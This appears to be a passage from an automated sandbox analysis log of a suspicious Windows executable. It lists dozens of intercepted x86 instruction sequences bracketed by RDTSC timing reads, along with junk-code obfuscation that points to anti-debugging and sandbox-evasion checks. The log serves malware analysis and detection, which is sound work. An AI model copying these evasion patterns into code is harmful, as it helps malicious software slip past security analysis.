Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F407AF second address: 4F407E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bx, ax 0x00000011 mov eax, 0B5290C7h 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 movzx esi, bx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5958F82B5Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F407E1 second address: 4F407F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F407F1 second address: 4F407F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50C61 second address: 4F50CD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5959240B6Fh 0x00000009 and si, AEAEh 0x0000000e jmp 00007F5959240B79h 0x00000013 popfd 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [75AB459Ch], 05h 0x00000021 jmp 00007F5959240B73h 0x00000026 je 00007F59C9D3E8B2h 0x0000002c jmp 00007F5959240B76h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50CD6 second address: 4F50CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50D25 second address: 4F50D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50D2B second address: 4F50D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50D2F second address: 4F50D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 1C23474Ah 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 pushfd 0x00000012 jmp 00007F5959240B6Eh 0x00000017 sub esi, 4E4B11A8h 0x0000001d jmp 00007F5959240B6Bh 0x00000022 popfd 0x00000023 popad 0x00000024 add dword ptr [esp], 598754DEh 0x0000002b pushad 0x0000002c mov eax, 1308C7BBh 0x00000031 mov ecx, 7D722497h 0x00000036 popad 0x00000037 call 00007F59C9D45963h 0x0000003c push 75A52B70h 0x00000041 push dword ptr fs:[00000000h] 0x00000048 mov eax, dword ptr [esp+10h] 0x0000004c mov dword ptr [esp+10h], ebp 0x00000050 lea ebp, dword ptr [esp+10h] 0x00000054 sub esp, eax 0x00000056 push ebx 0x00000057 push esi 0x00000058 push edi 0x00000059 mov eax, dword ptr [75AB4538h] 0x0000005e xor dword ptr [ebp-04h], eax 0x00000061 xor eax, ebp 0x00000063 push eax 0x00000064 mov dword ptr [ebp-18h], esp 0x00000067 push dword ptr [ebp-08h] 0x0000006a mov eax, dword ptr [ebp-04h] 0x0000006d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000074 mov dword ptr [ebp-08h], eax 0x00000077 lea eax, dword ptr [ebp-10h] 0x0000007a mov dword ptr fs:[00000000h], eax 0x00000080 ret 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F5959240B79h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50D95 second address: 4F50D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50E46 second address: 4F50EB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F59C9D34688h 0x0000000f jmp 00007F5959240B6Eh 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F5959240B6Dh 0x00000024 add ax, EF66h 0x00000029 jmp 00007F5959240B71h 0x0000002e popfd 0x0000002f jmp 00007F5959240B70h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60979 second address: 4F6097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6097D second address: 4F6099A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6099A second address: 4F609E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, F129h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F5958F82B5Fh 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 jmp 00007F5958F82B64h 0x00000017 mov si, DF41h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5958F82B63h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F609E6 second address: 4F60AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5959240B6Fh 0x00000008 mov cx, 48FFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, esi 0x00000010 jmp 00007F5959240B72h 0x00000015 push eax 0x00000016 pushad 0x00000017 movsx edi, si 0x0000001a pushfd 0x0000001b jmp 00007F5959240B6Ah 0x00000020 and ecx, 66D86E18h 0x00000026 jmp 00007F5959240B6Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, esi 0x0000002e jmp 00007F5959240B76h 0x00000033 mov esi, dword ptr [ebp+0Ch] 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F5959240B6Eh 0x0000003d or cx, 4FA8h 0x00000042 jmp 00007F5959240B6Bh 0x00000047 popfd 0x00000048 push ecx 0x00000049 mov si, bx 0x0000004c pop ebx 0x0000004d popad 0x0000004e test esi, esi 0x00000050 jmp 00007F5959240B6Eh 0x00000055 je 00007F59C9D2E497h 0x0000005b pushad 0x0000005c call 00007F5959240B6Eh 0x00000061 mov ch, D1h 0x00000063 pop edx 0x00000064 call 00007F5959240B6Ch 0x00000069 pop esi 0x0000006a popad 0x0000006b cmp dword ptr [75AB459Ch], 05h 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60AB9 second address: 4F60ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60B74 second address: 4F60B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60B7A second address: 4F60BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F5958F82B66h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5958F82B5Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60BB4 second address: 4F60BBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6290FAA second address: 6290FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F5958F82B68h 0x0000000a jp 00007F5958F82B56h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F5958F82B56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 627421D second address: 6274233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5959240B6Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6274233 second address: 6274239 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6274239 second address: 6274254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5959240B74h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6274254 second address: 6274274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5958F82B63h 0x0000000c jbe 00007F5958F82B56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6274274 second address: 6274295 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F5959240B72h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6274295 second address: 627429F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 627429F second address: 62742A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62742A3 second address: 62742A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62742A7 second address: 62742B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62742B5 second address: 62742B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 628FFD2 second address: 628FFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 628FFD6 second address: 628FFF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5958F82B64h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 628FFF2 second address: 6290006 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B70h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62902DC second address: 629030A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B5Eh 0x00000009 js 00007F5958F82B56h 0x0000000f popad 0x00000010 jmp 00007F5958F82B65h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6290475 second address: 6290492 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5959240B73h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6290492 second address: 6290496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6290496 second address: 62904A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62904A6 second address: 62904AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62904AA second address: 62904C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B75h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62904C3 second address: 62904DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5958F82B5Dh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62935E8 second address: 6293629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 mov edx, dword ptr [ebp+122D2DD6h] 0x00000019 call 00007F5959240B69h 0x0000001e jng 00007F5959240B70h 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293629 second address: 6293638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 jo 00007F5958F82B5Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293638 second address: 629364F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F5959240B6Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 629364F second address: 629366C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5958F82B69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 629366C second address: 62936C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d ja 00007F5959240B78h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5959240B78h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62937FD second address: 6293844 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007F5958F82B5Dh 0x00000010 pop edi 0x00000011 nop 0x00000012 movzx esi, ax 0x00000015 mov dx, di 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D233Dh], eax 0x00000020 mov edi, ecx 0x00000022 push B36CCE77h 0x00000027 push eax 0x00000028 push edx 0x00000029 jns 00007F5958F82B5Ch 0x0000002f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293844 second address: 62938C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4C933209h 0x00000010 pushad 0x00000011 pushad 0x00000012 mov dword ptr [ebp+122D1C73h], edx 0x00000018 mov ch, 73h 0x0000001a popad 0x0000001b mov dword ptr [ebp+122D2FC9h], ebx 0x00000021 popad 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F5959240B68h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e xor ecx, dword ptr [ebp+122D39F7h] 0x00000044 sub ecx, 16D917D1h 0x0000004a push 00000000h 0x0000004c js 00007F5959240B6Bh 0x00000052 mov edi, 30245BA0h 0x00000057 push 00000003h 0x00000059 movzx edx, di 0x0000005c push 684147BCh 0x00000061 push ecx 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62938C3 second address: 62938EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 add dword ptr [esp], 57BEB844h 0x0000000f sub dword ptr [ebp+122D305Dh], ebx 0x00000015 lea ebx, dword ptr [ebp+124594FAh] 0x0000001b mov dword ptr [ebp+122D31A9h], edx 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62938EB second address: 62938F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293946 second address: 62939C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 call 00007F5958F82B60h 0x0000000c pushad 0x0000000d call 00007F5958F82B63h 0x00000012 pop ebx 0x00000013 jns 00007F5958F82B56h 0x00000019 popad 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d call 00007F5958F82B67h 0x00000022 mov dword ptr [ebp+122D37EAh], ecx 0x00000028 pop edx 0x00000029 call 00007F5958F82B59h 0x0000002e jmp 00007F5958F82B64h 0x00000033 push eax 0x00000034 pushad 0x00000035 jo 00007F5958F82B58h 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f jnc 00007F5958F82B56h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62939C9 second address: 62939EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62939EA second address: 62939EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62939EE second address: 62939F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62939F4 second address: 6293A15 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5958F82B5Ch 0x00000008 jnc 00007F5958F82B56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F5958F82B56h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293A15 second address: 6293ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f jmp 00007F5959240B77h 0x00000014 pop eax 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F5959240B68h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 or ch, FFFFFFCAh 0x00000033 push 00000003h 0x00000035 mov esi, dword ptr [ebp+122D2D2Ah] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F5959240B68h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Ch 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 call 00007F5959240B73h 0x0000005c mov si, BE14h 0x00000060 pop ecx 0x00000061 push 00000003h 0x00000063 cld 0x00000064 push 960DDA53h 0x00000069 push eax 0x0000006a push edx 0x0000006b je 00007F5959240B7Ah 0x00000071 jmp 00007F5959240B74h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293ADF second address: 6293B20 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5958F82B58h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 560DDA53h 0x00000013 mov cl, dl 0x00000015 lea ebx, dword ptr [ebp+12459505h] 0x0000001b jmp 00007F5958F82B64h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5958F82B5Fh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 6293B20 second address: 6293B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5959240B66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B53C2 second address: 62B53E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007F5958F82B56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B53E6 second address: 62B5409 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F5959240B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5959240B75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B317D second address: 62B3181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B32A9 second address: 62B32AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3940 second address: 62B3972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 je 00007F5958F82B56h 0x0000000b jmp 00007F5958F82B5Bh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5958F82B67h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3AD7 second address: 62B3ADC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3C80 second address: 62B3C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B67h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3DE2 second address: 62B3DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3DE8 second address: 62B3E00 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5958F82B56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F5958F82B56h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3E00 second address: 62B3E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5959240B79h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B3E1F second address: 62B3E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5958F82B67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 62B42B9 second address: 62B42D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B75h 0x00000009 rdtsc
